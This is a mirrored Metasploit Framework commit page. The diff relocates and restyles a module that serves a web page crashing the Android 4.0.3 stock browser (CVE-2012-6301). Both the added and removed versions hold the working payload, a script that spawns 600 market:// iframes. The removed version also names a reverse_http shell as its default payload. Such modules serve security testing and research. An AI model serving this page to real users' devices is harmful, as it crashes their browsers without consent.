github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00
Code Releases Activity

Address style/usability concerns in Android CVE-2012-6301 module

Browse Source
This commit is contained in:
Jon Hart 2015-12-17 13:45:32 -08:00
parent fb14722ecb
commit a8bb750db7
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
2 changed files with 62 additions and 64 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

62
modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb Normal file
View File

@ -0,0 +1,62 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => "Android Stock Browser Iframe DOS",
'Description' => %q(
This module exploits a vulnerability in the native browser that comes with Android 4.0.3.
If successful, the browser will crash after viewing the webpage.
),
'License' => MSF_LICENSE,
'Author' => [
'Jean Pascal Pereira', # Original exploit discovery
'Jonathan Waggoner' # Metasploit module
],
'References' => [
[ 'PACKETSTORM', '118539'],
[ 'CVE', '2012-6301' ]
],
'DisclosureDate' => "Dec 1 2012",
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [[ 'WebServer' ]],
'DefaultAction' => 'WebServer'
)
)
end
def run
exploit # start http server
end
def setup
@html = %|
<html>
<body>
<script type="text/javascript">
for (var i = 0; i < 600; i++)
{
var m_frame = document.createElement("iframe");
m_frame.setAttribute("src", "market://#{Rex::Text.rand_text_alpha(rand(16) + 1)}");
document.body.appendChild(m_frame);
}
</script>
</body>
</html>
|
end
def on_request_uri(cli, _request)
print_status('Sending response')
send_response(cli, @html)
end
end

64
modules/auxiliary/gather/android_stock_browser_iframe_dos.rb
View File

@ -1,64 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => "Android Stock Browser Iframe DOS",
'Description' => %q{
This module exploits a vulnerability in the native browser that comes with Android 4.0.3.
If successful, the browser will crash after viewing the webpage.
},
'License' => MSF_LICENSE,
'Author' => [
'Jean Pascal Pereira', # Original exploit discovery
'Jonathan Waggoner' # Metasploit module
],
'References' => [
[ 'PACKETSTORM', '118539'],
[ 'CVE', '2012-6301' ]
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/shell/reverse_http' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => "Dec 1 2012",
'DefaultTarget' => 0
))
end
def on_request_uri(cli, request)
html = %Q|
<html>
<body>
<script type="text/javascript">
var m_frame = "";
for(var i = 0; i < 600; i++)
{
m_frame = document.createElement("iframe");
m_frame.setAttribute("src", "market://a");
document.body.appendChild(m_frame);
}
</script>
</body>
</html>
|
print_status(msg = 'Getting ready to send HTML to client')
send_response(cli, html)
print_status(msg = 'Sent HTML to client')
end
end